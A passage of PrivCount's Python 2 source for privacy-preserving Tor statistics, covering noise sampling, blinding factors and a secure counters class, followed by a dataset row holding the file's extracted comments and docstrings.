# It's the first noise allocation this run, or it's a
# noise allocation for which we've delayed collection
self.starting_noise_allocation = noise_allocation
elif not self.noise_change_needs_delay(
self.starting_noise_allocation,
noise_allocation,
tolerance=tolerance):
# The latest noise allocation could have been used immediately
# after the starting noise allocation.
# Keep the starting noise allocation, so that a TS can't
# gradually decrease the noise each round
pass
else:
# It's a noise allocation from a successful round, and it's
# different enough from the starting allocation. Assume we
# waited for the enforced delay before the round started.
self.starting_noise_allocation = noise_allocation
def noise(sigma, sum_of_sq, p_exit):
'''
Sample noise from a gussian distribution
the distribution is over +/- sigma, scaled by the noise weight, which is
calculated from the exit probability p_exit, and the overall sum_of_sq
bandwidth
returns a floating-point value between +sigma and -sigma, scaled by
noise_weight
'''
sigma_i = p_exit * sigma / sqrt(sum_of_sq)
# the noise needs to be cryptographically secure, because knowing the RNG
# state could allow an adversary to remove the noise
random_sample = SystemRandom().gauss(0, sigma_i)
return random_sample
def sample(modulus):
'''
Sample a uniformly distributed value from the SystemRandom CSPRNG
(uses rejection sampling to avoid bias)
returns a long uniformly distributed in [0, modulus)
'''
# sanitise input
modulus = long(modulus)
assert modulus > 0
# to get values up to modulus-1, we need this many bits
sample_bit_count = (modulus-1).bit_length()
# handle the case where modulus is 1
if sample_bit_count == 0:
sample_bit_count = 1
# check the bit count is sane
assert modulus <= 2L**sample_bit_count
assert modulus >= 2L**(sample_bit_count-1)
## Unbiased sampling through rejection sampling
while True:
# sample that many bits
v = SystemRandom().getrandbits(sample_bit_count)
assert v >= 0
assert v < 2L**sample_bit_count
# the maximum rejection rate is 1 in 2, when modulus is 2**N + 1
if 0L <= v < modulus:
break
return v
def sample_randint(a, b):
"""
Like random.randint(), returns a random long N such that a <= N <= b.
"""
return a + sample(b - a + 1)
def derive_blinding_factor(secret, modulus, positive=True):
'''
Calculate a blinding factor less than modulus, based on secret
If secret is None, sample a blinding factor and return it
When positive is True, returns the blinding factor, and when positive is
False, returns the unblinding factor (the inverse value mod modulus)
Typically called as:
blinding = derive_blinding_factor(None, counter_modulus(), True)
unblinding = derive_blinding_factor(blinding, counter_modulus(), False)
'''
# sanitise input
modulus = long(modulus)
if secret is None:
v = sample(modulus)
else:
# sanitise input
v = long(secret)
assert v < modulus
s0 = v if positive else modulus - v
return s0
def adjust_count_signed(count, modulus):
'''
Adjust the unsigned 0 <= count < modulus, returning a signed integer
For odd modulus, returns { -modulus//2, ... , 0, ... , modulus//2 }
For even modulus, returns { -modulus//2, ... , 0, ... , modulus//2 - 1 }
The smallest positive values >= modulus//2 [- 1] become the largest
negative values
This is the inverse operation of x % modulus, when x is in the appropriate
range (x % modulus always returns a positive integer when modulus is
positive)
'''
# sanitise input
count = long(count)
modulus = long(modulus)
# sanity check input
assert count < modulus
# When implementing this adjustment,
# { 0, ... , (modulus + 1)//2 - 1} is interpreted as that value,
# { (modulus + 1)//2, ... , modulus - 1 } is interpreted as
# that value minus modulus, or
# { (modulus + 1)//2 - modulus, ... , modulus - 1 - modulus }
#
# For odd modulus, (modulus + 1)//2 rounds up to modulus//2 + 1, so the
# positive case simplifies to:
# { 0, ... , modulus//2 + 1 - 1 }
# { 0, ... , modulus//2 }
# and because modulus == modulus//2 + modulus//2 + 1 for odd modulus, the
# negative case simplifies to:
# { modulus//2 + 1 - modulus//2 - modulus//2 - 1, ... ,
# modulus - 1 - modulus}
# { -modulus//2, ... , -1 }
# Odd modulus has the same number of values above and below 0:
# { -modulus//2, ... , 0, ... , modulus//2 }
#
# For even modulus, (modulus+1)//2 rounds down to modulus//2, so the
# positive case simplifies to:
# { 0, ... , modulus//2 - 1 }
# and because modulus == modulus//2 + modulus//2 for even modulus, the
# negative case simplifies to:
# { modulus//2 - modulus//2 - modulus//2, ... , modulus - 1 - modulus}
# { -modulus//2, ... , -1 }
# Even modulus has the 1 more value below 0 than above it:
# { -modulus//2, ... , 0, ... , modulus//2 - 1 }
# This is equivalent to signed two's complement, if modulus is an integral
# power of two
if count >= ((modulus + 1L) // 2L):
signed_count = count - modulus
else:
signed_count = count
# sanity check output
assert signed_count >= -modulus//2L
if modulus % 2L == 1L:
# odd case
assert signed_count <= modulus//2L
else:
# even case
assert signed_count <= modulus//2L - 1L
return signed_count
class SecureCounters(object):
'''
securely count any number of labels
counters should be in the form like this:
{
'CircuitCellsInOutRatio': {
'bins':
[
[0.0, 0.1],
[0.1, 0.25],
[0.25, 0.5],
[0.5, 0.75],
[0.75, 0.9],
[0.9, 1.0],
[1.0, float('inf')],
],
'sigma': 2090007.68996
},
'EntryCircuitInboundCellHistogram': {
'bins':
[
[0.0, 512.0],
[512.0, 1024.0],
[1024.0, 2048.0],
[2048.0, 4096.0],
[4096.0, float('inf')],
],
'sigma': 2090007.68996
}
}
All of data collectors, share keepers, and tally server use this to store
counters.
It is used approximately like this:
data collector:
init(), generate_blinding_shares(), detach_blinding_shares(),
generate_noise(), increment()[repeated],
detach_counts()
the blinding shares are sent to each share keeper
the counts are sent to the tally server at the end
share keeper:
init(), import_blinding_share()[repeated], detach_counts()
import..() uses the shares from each data collector
the counts are sent to the tally server at the end
tally server:
init(), tally_counters(), detach_counts()
tally..() uses the counts received from all of the data collectors and
share keepers
this produces the final, unblinded, noisy counts of the privcount process
see privcount/test/test_counters.py for some test cases
'''
def __init__(self, counters, modulus, require_generate_noise=True):
'''
deepcopy counters and initialise each counter to 0L
cast modulus to long and store it
If require_generate_noise is True, assert if we did not add noise
before detaching the counters
'''
self.counters = deepcopy(counters)
self.modulus = long(modulus)
self.shares = None
self.is_noise_pending = require_generate_noise
# initialize all counters to 0L
# counters use unlimited length integers to avoid overflow
for key in self.counters:
assert('bins' in self.counters[key])
for item in self.counters[key]['bins']:
assert len(item) == 2
# bin is now, e.g.: [0.0, 512.0, 0L] for bin_left, bin_right,
# count
item.append(0L)
# take a copy of the zeroed counters to use when generating blinding
# factors
self.zero_counters = deepcopy(self.counters)
def _check_counter(self, counter):
'''
Check that the keys and bins in counter match self.counters
Also check that each bin has a count.
If these checks pass, return True. Otherwise, return False.
'''
for key in self.counters:
if key not in counter:
return False
# disregard sigma, it's only required at the data collectors
if 'bins' not in counter[key]:
return False
num_bins = len(self.counters[key]['bins'])
if num_bins == 0:
return False
if num_bins != len(counter[key]['bins']):
return False
for i in xrange(num_bins):
tally_item = counter[key]['bins'][i]
if len(tally_item) != 3:
return False
return True
def _derive_all_counters(self, blinding_factors, positive):
'''
If blinding_factors is None, generate and apply a counters structure
containing uniformly random blinding factors.
Otherwise, apply the passed blinding factors.
If positive is True, apply blinding factors. Otherwise, apply
unblinding factors.
Returns the applied (un)blinding factors, or None on error.
'''
# if there are no blinding_factors, initialise them to zero
generate_factors = False
if blinding_factors is None:
blinding_factors = deepcopy(self.zero_counters)
generate_factors = True
# validate that the counter data structures match
if not self._check_counter(blinding_factors):
return None
# determine the blinding factors
for key in blinding_factors:
for item in blinding_factors[key]['bins']:
if generate_factors:
original_factor = None
else:
original_factor = long(item[2])
blinding_factor = derive_blinding_factor(original_factor,
self.modulus,
positive=positive)
item[2] = blinding_factor
# add the blinding factors to the counters
self._tally_counter(blinding_factors)
# return the applied blinding factors
return blinding_factors
def _blind(self):
'''
Generate and apply a counters structure containing uniformly random
blinding factors.
Returns the generated blinding factors.
'''
generated_counters = self._derive_all_counters(None, True)
# since we generate blinding factors based on our own inputs, a
# failure here is a programming bug
assert generated_counters is not None
return generated_counters
def _unblind(self, blinding_factors):
'''
Generate unblinding factors from blinding_factors, and apply them to
self.counters.
Returns the applied unblinding factors.
'''
# since we generate unblinding factors based on network input, a
# failure here should be logged, and the counters ignored
return self._derive_all_counters(blinding_factors, False)
def generate_blinding_shares(self, uids):
'''
Generate and apply blinding factors for each counter and share keeper
uid.
'''
self.shares = {}
for uid in uids:
# add blinding factors to all of the counters
blinding_factors = self._blind()
# the caller can add additional annotations to this dictionary
self.shares[uid] = {'secret': blinding_factors, 'sk_uid': uid}
def generate_noise(self, noise_weight):
'''
Generate and apply noise for each counter.
'''
# generate noise for each counter independently
noise_values = deepcopy(self.zero_counters)
for key in noise_values:
for item in noise_values[key]['bins']:
sigma = noise_values[key]['sigma']
sampled_noise = noise(sigma, 1, noise_weight)
# exact halfway values are rounded towards even integers
# values over 2**53 are not integer-accurate
# but we don't care, because it's just noise
item[2] = long(round(sampled_noise))
# add the noise to each counter
self._tally_counter(noise_values)
self.is_noise_pending = False
def detach_blinding_shares(self):
'''
Deletes this class' reference to self.shares.
Does not securely delete, as python does not have secure delete.
Detaches and returns the value of self.shares.
Typically, the caller then uses encrypt() on the returned shares.
'''
shares = self.shares
# TODO: secure delete
# del only deletes the reference binding
# deallocation is implementation-dependent
del self.shares
self.shares = None
return shares
def import_blinding_share(self, share):
'''
Generate and apply reverse blinding factors to all of the counters.
If encrypted, these blinding factors must be decrypted and decoded by
the caller using decrypt(), before calling this function.
Returns True if unblinding was successful, and False otherwise.
'''
unblinding_factors = self._unblind(share['secret'])
if unblinding_factors is None:
return False
return True
SINGLE_BIN = float('nan')
'''
A placeholder for the bin value of a counter with a single bin.
This constant must be outside the range of every possible counter.
'''
@staticmethod
def is_single_bin_value(value):
if isnan(SecureCounters.SINGLE_BIN):
return isnan(value)
else:
return SecureCounters.SINGLE_BIN == value
@staticmethod
def is_in_bin(bin_min, bin_max, bin_value):
'''
Is bin_value between bin_min and bin_max?
bin_min is always inclusive. bin_max is exclusive, except when it is
inf, it includes inf.
'''
# make everything float for consistent comparisons
bin_min = float(bin_min)
bin_max = float(bin_max)
bin_value = float(bin_value)
if bin_value >= bin_min:
# any value is <= inf, so we don't need to check if bin_value is inf
if bin_value < bin_max or bin_max == float('inf'):
return True
return False
def increment(self, counter_name, bin=SINGLE_BIN, inc=1):
'''
Increment a bin in counter counter_name by inc.
Uses is_in_bin() to work out which bin to increment.
Example:
secure_counters.increment('ExampleHistogram',
bin=25,
inc=1)
If there is only one bin for the counter, you must pass SINGLE_BIN
for bin:
secure_counters.increment('ExampleCount',
bin=SINGLE_BIN,
inc=1)
'''
if self.counters is not None and counter_name in self.counters:
# check that we have the right types, and that we're not losing
# precision
bin = float(bin)
if float(inc) != float(int(inc)):
logging.warning("Ignoring fractional part of counter {} bin {} increment {}: {}"
.format(counter_name, bin, inc,
float(inc) - float(int(inc))))
assert float(inc) == float(int(inc))
inc = int(inc)
# You must pass SINGLE_BIN if counter_name is a single bin
if len(self.counters[counter_name]['bins']) == 1:
assert(SecureCounters.is_single_bin_value(bin))
bin = 1.0
else:
assert(not SecureCounters.is_single_bin_value(bin))
bin = float(bin)
for item in self.counters[counter_name]['bins']:
if SecureCounters.is_in_bin(item[0], item[1], bin):
item[2] = ((int(item[2]) + int(inc))
% self.modulus)
def _tally_counter(self, counter):
if self.counters == None:
return False
# validate that the counter data structures match
if not self._check_counter(counter):
return False
# ok, the counters match
for key in self.counters:
num_bins = len(self.counters[key]['bins'])
for i in xrange(num_bins):
tally_bin = self.counters[key]['bins'][i]
tally_bin[2] = ((long(tally_bin[2]) +
long(counter[key]['bins'][i][2]))
% self.modulus)
# success
return True
def tally_counters(self, counters):
# first add up all of the counters together
for counter in counters:
if not self._tally_counter(counter):
return False
# now adjust so our tally can register negative counts
# (negative counts are possible if noise is negative)
for key in self.counters:
for tally_bin in self.counters[key]['bins']:
tally_bin[2] = adjust_count_signed(tally_bin[2], self.modulus)
return True
def detach_counts(self):
'''
Asserts if we needed to add noise, and didn't add it
'''
assert not self.is_noise_pending
counts = self.counters
self.counters = None
return counts
"""
def prob_exit(consensus_path, my_fingerprint, fingerprint_pool=None):
'''
this func is currently unused
if it becomes used later, we must add stem as a required python library
'''
from stem.descriptor import parse_file
if fingerprint_pool == None:
fingerprint_pool = [my_fingerprint]
net_status = next(parse_file(consensus_path, document_handler='DOCUMENT', validate=False))
DW = float(net_status.bandwidth_weights['Wed'])/10000
EW = float(net_status.bandwidth_weights['Wee'])/10000
# we must use longs here, because otherwise sum_of_sq_bw can overflow on
# platforms where python has 32-bit ints
# (on these platforms, this happens when router_entry.bandwidth > 65535)
my_bandwidth, DBW, EBW, sum_of_sq_bw = 0L, 0L, 0L, 0L
if my_fingerprint in net_status.routers:
my_bandwidth = net_status.routers[my_fingerprint].bandwidth
for (fingerprint, router_entry) in net_status.routers.items():
if fingerprint not in fingerprint_pool or 'BadExit' in router_entry.flags:
continue
if 'Guard' in router_entry.flags and 'Exit' in router_entry.flags:
DBW += router_entry.bandwidth
sum_of_sq_bw += router_entry.bandwidth**2
elif 'Exit' in router_entry.flags:
EBW += router_entry.bandwidth
sum_of_sq_bw += router_entry.bandwidth**2
TEWBW = DBW*DW + EBW*EW
prob = my_bandwidth/TEWBW
sum_of_sq = sum_of_sq_bw/(TEWBW**2)
return prob, sum_of_sq
"""
| en | 0.842512 | Created on Dec 6, 2016 @author: teor See LICENSE for licensing information # The label used for the default noise weight for testing # Labels are typically data collector relay fingerprints The hard-coded modulus value for a blinded counter Blinded counters are unsigned In PrivCount, this does not have to be prime, and there is no need for it to be configurable All PrivCount counters should use unlimited-length Python longs, so that counter_modulus can exceed 64 bits, the size of a native C long # PrivCount counters are limited by the modulus, so it needs to be large # Here's an over-estimate of PrivCount's capacity: # In 2016, Tor traffic was 75 Gbits, or ~2**34 bytes per second # (In 2015, Internet traffic was 230 Tbits, or ~2**43 bytes per second) # Tor traffic might grow by 2**10 while PrivCount is in use # A year has ~2**25 seconds # PrivCount counters overflow at modulus/2 # 2**34 * 2**10 * 2**25 * 2 = 2**70 # Using modulus > 2**64 also ensures PrivCount is unlimited-integer clean # and that it can handle longs that just happen to be integers # (1 in 2**6 blinding factors are less than 2**64) # historical q values #return 2147483647L #return 999999999959L # modulus was limited to 2**64 when sample() only unpacked 8 bytes #return 2L**64L The hard-coded minimum value for a blinded counter Blinded counters are unsigned Always zero The hard-coded maximum value for a blinded counter Blinded counters are unsigned The hard-coded minimum value for a tallied counter Tallied counters are signed, to allow for negative noise The hard-coded maximum value for a tallied counter Tallied counters are signed, to allow for negative noise Add the hard-coded counter limits to a deep copy of the config dictionary Returns the modified deep copy of the config dictionary # call this modulus so it sorts near the other values Check that dc_threshold is a valid dc threshold. DC thresholds must be positive non-zero, and less than or equal to MAX_DC_COUNT. Returns True if the dc threshold is valid. Logs a specific warning using description and returns False if it is not. Check that noise_weight_value is a valid noise weight. Noise weights must be positive and less than or equal to the maximum tallied counter value. Returns True if the noise weight value is valid. Logs a specific warning using description, and returns False if it is not. Check that noise_weight_sum is a valid summed noise weight. Noise weight sums must pass check_noise_weight_value(). Returns True if the noise weight sum is valid. Logs a specific warning using description and returns False if it is not. Returns the default noise weight, if present in noise_weight_config. Otherwise, returns None. Returns True if noise_weight_config has a default noise weight. Otherwise, returns False. Returns the noise weight for fingerprint, which can be None. If fingerprint does not have a noise weight (or is None), return the default noise weight (if any). Otherwise, returns None. Returns True if fingerprint has a noise weight. fingerprint can be None. If fingerprint is None or missing, returns True if there is a default noise weight. If fingerprint does not have a noise weight, returns False. Check that noise_weight_config is a valid noise weight configuration. Each noise weight must also pass check_noise_weight_value(). Returns True if the noise weight config is valid. Logs a specific warning and returns False if it is not. # there must be noise weights for a threshold of DCs, or there must be # a default noise weight # each noise weight must be individually valid # calculate the maximum possible noise weight # if there is a default, assume a threshold of relays might use it # adjust the sum for the extra default value # add a threshold of that weight # the sum must be valid Check that event_set is a set, and each event in it has the correct case Returns True if all checks pass, and False if any check fails Check that event_set passes check_event_set_case, and also that each event is in the set of valid events Returns True if all checks pass, and False if any check fails # internal # Unused events # PrivCount never used this event, it was used by PrivEx # We don't use this event any more, but the Tor patch still produces it, for # compatibility with older versions Return a set containing the name of each privcount event, in uppercase # Unused events # when you modify this list, update the test counters, and run: # test/test_counter_match.sh # these counters depend on bytes transferred event # they are updated in _handle_circuit_cell_event_traffic_model # these counters are for the traffic model code # model-specific counters are added in register_dynamic_counter # viterbi paths for packet modeling are counted on stream end events # viterbi paths for stream modeling are counted on circuit end events # Port Classification # Is this stream *not* on port 80 or 443? # Includes Interactive, P2P, and Other # IP version after DNS resolution # IP version or hostname before DNS resolution # Hostnames on Web and Non-Web streams # Position of stream on circuit # These also use CIRCUIT_EVENT, because that avoids collisions between old and # new streams with the same circuit id. See #451. # IP version after DNS resolution and position # IP version or hostname before DNS resolution and position # The base counts for the ExitDomain*Web*Stream* counters # The non-web equivalents of ExitHostnameWebInitial/SubsequentStream* # IP version after DNS resolution and position # IP version or hostname before DNS resolution and position # The first domain list is used for the ExitDomain*MatchWebInitialStream Ratio, LifeTime, and Histogram counters # Their ExitDomainNo*MatchWebInitialStream* equivalents are used when there is no match in the first list # Does the initial domain on the circuit match any domain in the first list? # Does the initial domain on the circuit have any domain in the first list as a suffix? # The number of bins in the ExitDomain*MatchWebInitialStream*CountList counters is # determined at runtime, based on the number of configured domain lists # Each domain list gets a bin in each counter, and there is a final bin # for "no match in any list" (multiple lists may match: all matching bins # will be incremented). Since there is an unmatched bin, there are no # ExitDomainNo*MatchWebInitialStream*CountList counters. # Does the initial domain on the circuit match any domain in the list for each bin? Or is it unmatched by all the lists? # Does the initial domain on the circuit have any domain in the list for each bin as a suffix? Or is it unmatched by all the lists? # these counters depend on circuit end # they are updated in _handle_circuit_close_event # Non-HS Circuit Positions # Custom circuit counters # Circuit Counts # Inbound cells travel towards the origin # Outbound cells travel towards the end # We can't distinguish inactive Exit, Dir, and HSDir: we learn if an End # is Exit, Dir, or HSDir after a stream opens. And all circuits with open # streams are considered active. # Use the End position to count inactive circuits. # HSDir circuits # You probably want the HSDir*Store/Fetch* events instead of these events # Intro and Rend Circuits # circuit failure reason count lists # these counters depend on circuit end # they are updated in _do_rotate, # and use data updated in _handle_legacy_exit_circuit_event # these counters depend on stream end and circuit end # they are updated in _handle_legacy_exit_circuit_event, # and use data updated in _handle_stream_event # these counters depend on connection close # simple connection counts # connection counts based on the number of relays sharing the remote address # byte counts # byte histograms per connection # circuit counts # circuit count histograms by connection # connection lifetime histograms # the number of simultaneous connections from the same IP address as a histogram # histograms for country codes that match the first list specified # byte histograms per connection # circuit count histograms by connection # connection lifetime histograms # the number of simultaneous connections from the same IP address as a histogram # histograms for country codes that don't match the first list specified # byte histograms per connection # circuit count histograms by connection # connection lifetime histograms # the number of simultaneous connections from the same IP address as a histogram # count lists for country codes that match each list # the final bin is used for country codes that don't match any list # simple connection counts # connection counts based on the number of relays sharing the remote address # byte counts # circuit counts # histograms for AS numbers that match the first list specified # byte histograms per connection # circuit count histograms by connection # connection lifetime histograms # the number of simultaneous connections from the same IP address as a histogram # histograms for AS numbers that don't match the first list specified # byte histograms per connection # circuit count histograms by connection # connection lifetime histograms # the number of simultaneous connections from the same IP address as a histogram # count lists for AS numbers that match each list # the final bin is used for AS numbers that don't match any list # simple connection counts # connection counts based on the number of relays sharing the remote address # byte counts # circuit counts # these counters depend on the HSDir store event # HSDir Store /Add/Reject /Cached/Uncached Count/{Descriptor,Intro}Byte{Count,Histogram}/ReasonCountList # descriptor fetch counters # HSDir Fetch /Cached/Uncached Count/{Descriptor,Intro}Byte{Count,Histogram}/ReasonCountList # HSDir 2 Fetch /Cached/Uncached /ClientAuth/NoClientAuth Count/{Descriptor,Intro}Byte{Count,Histogram}/IntroPointHistogram/ReasonCountList/OnionAddressCountList # HSDir 3 Fetch /Cached/Uncached Count/{Descriptor,Intro}Byte{Count,Histogram}/RevisionHistogram/ReasonCountList # the sanity check counter doesn't depend on any events Register counter_name as a counter which uses the events in counter_events. If counter_name is already a registered counter, updates the list of events for counter. This should be called before the counters are checked: - in the Tally Server, early in refresh_config, - in PrivCountClient, early in check_start_config (PrivCountClient is a parent class of Data Collector and Share Keeper) Any event updates are applied the next time the data collector starts a collection phase. Logs a message and ignores unknown events. Return a set containing the name of each privcount counter, in titlecase. (Or whatever the canonical case of the counter name is.) # we can't check case consistency, so just return the set Return the set of events required by counter # when you add an event, but forget to update the table above, # you will get an error here Return the set of events required by at least one of the counters in counter_list. Return the set of events required by at least one of the counters we know about. Return the set of events affected by circuit_sample_rate. # Not affected #CONNECTION_EVENT, #HSDIR_STORE_EVENT, # Unused events If counter uses an event affected by circuit_sample_rate, return True. Otherwise, return False. Return True if we expect to receive regular events while collecting counter_list, on a relay with the consensus flags in relay_flag_list. relay_flag_list must be a list, not a string. Return False if we don't expect to receive events regularly. # It really does need to be a list # no counters # no events: ZeroCount only # relay_flag_list must be a list to avoid a substring match # no matching counters and flags Check that each counter's name is in the set of valid counter names. Returns False if any counter name is unknown, True if all are known. # sort names alphabetically, so the logs are in a sensible order Returns the total number of bins in counters. Check that counter names that end in "Count" have a single bin, and counter names that end in anything else have multiple bins. # sort names alphabetically, so the logs are in a sensible order # handle template counters by stripping the non-template part # the TrafficModel DelayTime counters are single bin # Histogram, Ratio, LifeTime, DelayTime, CountList, ... Check that bins are non-overlapping. Returns True if all bins are non-overlapping, and False if any overlap. If allow_unknown_counters is False, also check that all counter names are in the set of known counter names for this PrivCount version, returning False if there are any unknown counters. Raises an exception if any counter does not have bins, or if any bin does not have a lower and upper bound # unknown counters may have different rules for bin counts # sort names alphabetically, so the logs are in a sensible order # this sorts the bins by the first element in ascending order # (if the first elements are equal, the bins are sorted by the second # element) # bins are an array [l, u, c], where c counts values such that: # l <= value < u # c is optional, and is ignored by this code # check for inverted bounds # make sure we have a bin to compare to # two sorted bins overlap if: # - their lower bounds are equal, or # - the upper bound of a bin is greater than the lower bound # of the next bin Check that each sigma value in sigmas is valid. Returns True if all sigma values are valid, and False if any are invalid. If allow_unknown_counters is False, also check that all counter names are in the set of known counter names for this PrivCount version, returning False if there are any unknown counters. Raises an exception if any sigma value is missing. # sort names alphabetically, so the logs are in a sensible order Return the extra counter keys in first that are not in second. Warn about taking action_name on any missing counters. # Log missing keys Return the counter keys shared by first and second. Warn about taking action_name on any missing counters. # ignore the extra counters return values, we just want the logging # return common keys Check that each key in counters has a subkey with the name expected_subkey. If any key does not have a subkey named expected_subkey, skip it and log a warning. If detailed_source is not None, use it to describe the counters. Otherwise, use expected_subkey. Returns a copy of counters with invalid keys skipped. Check each key in bins has a bins list. If any key does not have a bins list, skip it and log a warning. Returns a copy of counters with invalid keys skipped. Check each key in sigmas has a sigma value. If any key does not have a sigma, skip it and log a warning. Returns a copy of counters with invalid keys skipped. Combine the counters in bins and sigmas, excluding any counters that are missing from either bins or sigmas. Combine the keys and values from both bins and sigmas in the output counters, according to what the tally server is permitted to update. (Both bins and sigmas are configured at the tally server.) Return a dictionary containing the combined keys. # Remove invalid counters # we allow the tally server to update the set of counters # (we can't count keys for which we don't have both bins and sigmas) # skip_missing_* ensures these exist # Use the values from the sigmas # Except for the bin values, which come from bins # we allow the tally server to update the bin widths Sanity check bins against sigmas. Returns False if: - the set of counters in bins and sigmas is not the same, or - any counter is missing bins, or - any counter is missing a sigma, or - any counter is duplicated. Sanity check bins and sigmas individually. Check that bins and sigmas have the same set of counters. If allow_unknown_counters is False, also check that all counter names are in the set of known counter names for this PrivCount version. When converting an exact number to a python float, the maximum possible proportional change in the value of the float. For the exact number n, converting n to a float could change the value by at most +/- n * float_representation_accuracy(). Returns a floating point number representing the maximum relative increase or decrease in the value of the original exact number. # When converting an exact value to a python float, the maximum possible # proportional change is half the distance between one float value and the # next largest or smallest float value. # Conventiently, the distance between adjacent floats is at most the float # epsilon multiplied by the value of the float, as the distance between # adjacent floats scales as they get larger or smaller. # On most platforms, the float epsilon is 2 ** -53. When converting a python float to a string and back, the maximum possible proportional change in the value of the float. For the float f, converting f to a string and back could change the value by at most +/- f * float_string_accuracy(). Returns a floating point number representing the maximum relative increase or decrease in the value of the original float. # sys.float_info.dig is the number of significant figures that are # guaranteed to be preserved when converting a float to a string and # then back to a float (PrivCount does this when sending sigma between # the TS and the SKs/DCs). # This is based on python's float repr() rule, introduced in versions 2.7 # and 3.1: # Python "displays a value based on the shortest decimal fraction that # rounds correctly back to the true binary value" # On most 32 and 64-bit platforms, sys.float_info.dig is 15 digits. # Therefore, the maximum change in value that can occur is the 15th digit # (of least significance) changing by +/- 1. # But we can't just multiply the original value by 10 ** -15, because # the (significand of the) float can have any value in [0.1, 0.999...]. # Therefore, we need to multiply the tolerance by another 10x. # This gives us a tolerance of 10 ** -14 on most systems. The maximum proportional change in an exact value when converted to a float, then a string, then back to a float. For the exact number n, converting n to a float then string then float could change the value by at most +/- n * float_accuracy(). Returns a floating point number representing the maximum relative increase or decrease in the value of the original exact number. # If the inaccuracies are both in the same direction, the total inaccuracy # is the sum of all inaccuracies Ensures a configurable delay between rounds with different noise allocations. Usage: (the SKs must enforce these checks for the protocol to be secure the TS does these checks for convenience, the DCs for defence in depth) TS: configures round uses get_next_round_start_time() for status updates checks round_start_permitted() before starting collection DC: checks round_start_permitted() before sending blinding shares SK: checks round_start_permitted() before accepting blinding shares (round runs) DC: set_delay_for_stop() when round stops and counters are sent SK: set_delay_for_stop() when round stops and blinding shares are sent TS: set_delay_for_stop() when round ends successfully (repeat for next round, if TS has continue set in its config) Initialise the noise allocations and times required to track collection delays. # The earliest noise allocation in a series of equivalent noise # allocations # The end time of the successful round to use an equivalent allocation Check if there should be a delay between rounds using the previous and proposed sigma values for the same counter. A counter can use two sigma values without a delay between them if: - The values are equal (within a small tolerance), or - The proposed value is greater than the previous value. Returns True if the sigma values need a delay, False if they do not. # the sigma has increased: no delay required # the sigma has decreased, but not by enough to matter # the sigma has decreased too much - enforce a delay Check if there should be a delay between rounds using the previous and proposed noise allocations. Two allocations can be used without a delay between them if: - They have the same keys, and - The sigma values for those keys do not need a delay, using the acceptable sigma decrease tolerance. Returns True if the allocations need a delay, False if they do not. # There must be an allocation for a valid round # No delay for the first round # Ignore and log missing sigmas # Check that we have the same set of counters # check the sigma values are the same Return the earliest time at which a round with noise allocation could start, where delay_period is the configurable delay. If always_delay is True, always delay the round by delay_period. (This is intended for use while testing.) max_client_rtt is the maximum client RTT of all clients (only used by the Tally Server). tolerance is the acceptable sigma decrease. # there must be a configured delay_period (or a default must be used) # that is, it must be boolean-coercible # there must be a noise allocation for the next round # if there was a change, there must have been a previous allocation # a delay is meaningless, there have been no previous successful # rounds # we can start any time # if there was a previous round, and we need to delay after it, # there must have been an end time for that round # we can start any time after the last round ended Check if we are permitted to start a round with noise allocation at start time, with the configured delay_period and max_client_rtt. If always_delay is True, always delay the round by delay_period. (This is intended for use while testing.) max_client_rtt is the maximum client RTT of all clients (only used by the Tally Server). tolerance is the acceptable sigma decrease. Return True if starting the round is permitted. If it is not, return False, and log a message using logging_function. # there must be a start time # all the other assertions are in this function Called when a round ends. If the new noise allocation is not equivalent to the stored noise, update the stored noise. Update the stored last round end time. No updates are performed for failed rounds. Log a warning if it appears that the round was started too early. (This can also occur if the config is changed mid-round.) If always_delay is True, assume the round was delayed, regardless of the noise allocation. (This is intended for use while testing.) max_client_rtt is the maximum client RTT of all clients (only used by the Tally Server). tolerance is the acceptable sigma decrease. # make sure we haven't violated our own preconditions # that is, it must be boolean-coercible # did we forget to check if we needed to delay this round? # warn, because this can happen if the delay is reconfigured, # or if another node fails a round because it starts sooner than its # configured delay, or if the Tally server asks for results twice # The end time is always updated # It's the first noise allocation this run, or it's a # noise allocation for which we've delayed collection # The latest noise allocation could have been used immediately # after the starting noise allocation. # Keep the starting noise allocation, so that a TS can't # gradually decrease the noise each round # It's a noise allocation from a successful round, and it's # different enough from the starting allocation. Assume we # waited for the enforced delay before the round started. Sample noise from a gussian distribution the distribution is over +/- sigma, scaled by the noise weight, which is calculated from the exit probability p_exit, and the overall sum_of_sq bandwidth returns a floating-point value between +sigma and -sigma, scaled by noise_weight # the noise needs to be cryptographically secure, because knowing the RNG # state could allow an adversary to remove the noise Sample a uniformly distributed value from the SystemRandom CSPRNG (uses rejection sampling to avoid bias) returns a long uniformly distributed in [0, modulus) # sanitise input # to get values up to modulus-1, we need this many bits # handle the case where modulus is 1 # check the bit count is sane ## Unbiased sampling through rejection sampling # sample that many bits # the maximum rejection rate is 1 in 2, when modulus is 2**N + 1 Like random.randint(), returns a random long N such that a <= N <= b. Calculate a blinding factor less than modulus, based on secret If secret is None, sample a blinding factor and return it When positive is True, returns the blinding factor, and when positive is False, returns the unblinding factor (the inverse value mod modulus) Typically called as: blinding = derive_blinding_factor(None, counter_modulus(), True) unblinding = derive_blinding_factor(blinding, counter_modulus(), False) # sanitise input # sanitise input Adjust the unsigned 0 <= count < modulus, returning a signed integer For odd modulus, returns { -modulus//2, ... , 0, ... , modulus//2 } For even modulus, returns { -modulus//2, ... , 0, ... , modulus//2 - 1 } The smallest positive values >= modulus//2 [- 1] become the largest negative values This is the inverse operation of x % modulus, when x is in the appropriate range (x % modulus always returns a positive integer when modulus is positive) # sanitise input # sanity check input # When implementing this adjustment, # { 0, ... , (modulus + 1)//2 - 1} is interpreted as that value, # { (modulus + 1)//2, ... , modulus - 1 } is interpreted as # that value minus modulus, or # { (modulus + 1)//2 - modulus, ... , modulus - 1 - modulus } # # For odd modulus, (modulus + 1)//2 rounds up to modulus//2 + 1, so the # positive case simplifies to: # { 0, ... , modulus//2 + 1 - 1 } # { 0, ... , modulus//2 } # and because modulus == modulus//2 + modulus//2 + 1 for odd modulus, the # negative case simplifies to: # { modulus//2 + 1 - modulus//2 - modulus//2 - 1, ... , # modulus - 1 - modulus} # { -modulus//2, ... , -1 } # Odd modulus has the same number of values above and below 0: # { -modulus//2, ... , 0, ... , modulus//2 } # # For even modulus, (modulus+1)//2 rounds down to modulus//2, so the # positive case simplifies to: # { 0, ... , modulus//2 - 1 } # and because modulus == modulus//2 + modulus//2 for even modulus, the # negative case simplifies to: # { modulus//2 - modulus//2 - modulus//2, ... , modulus - 1 - modulus} # { -modulus//2, ... , -1 } # Even modulus has the 1 more value below 0 than above it: # { -modulus//2, ... 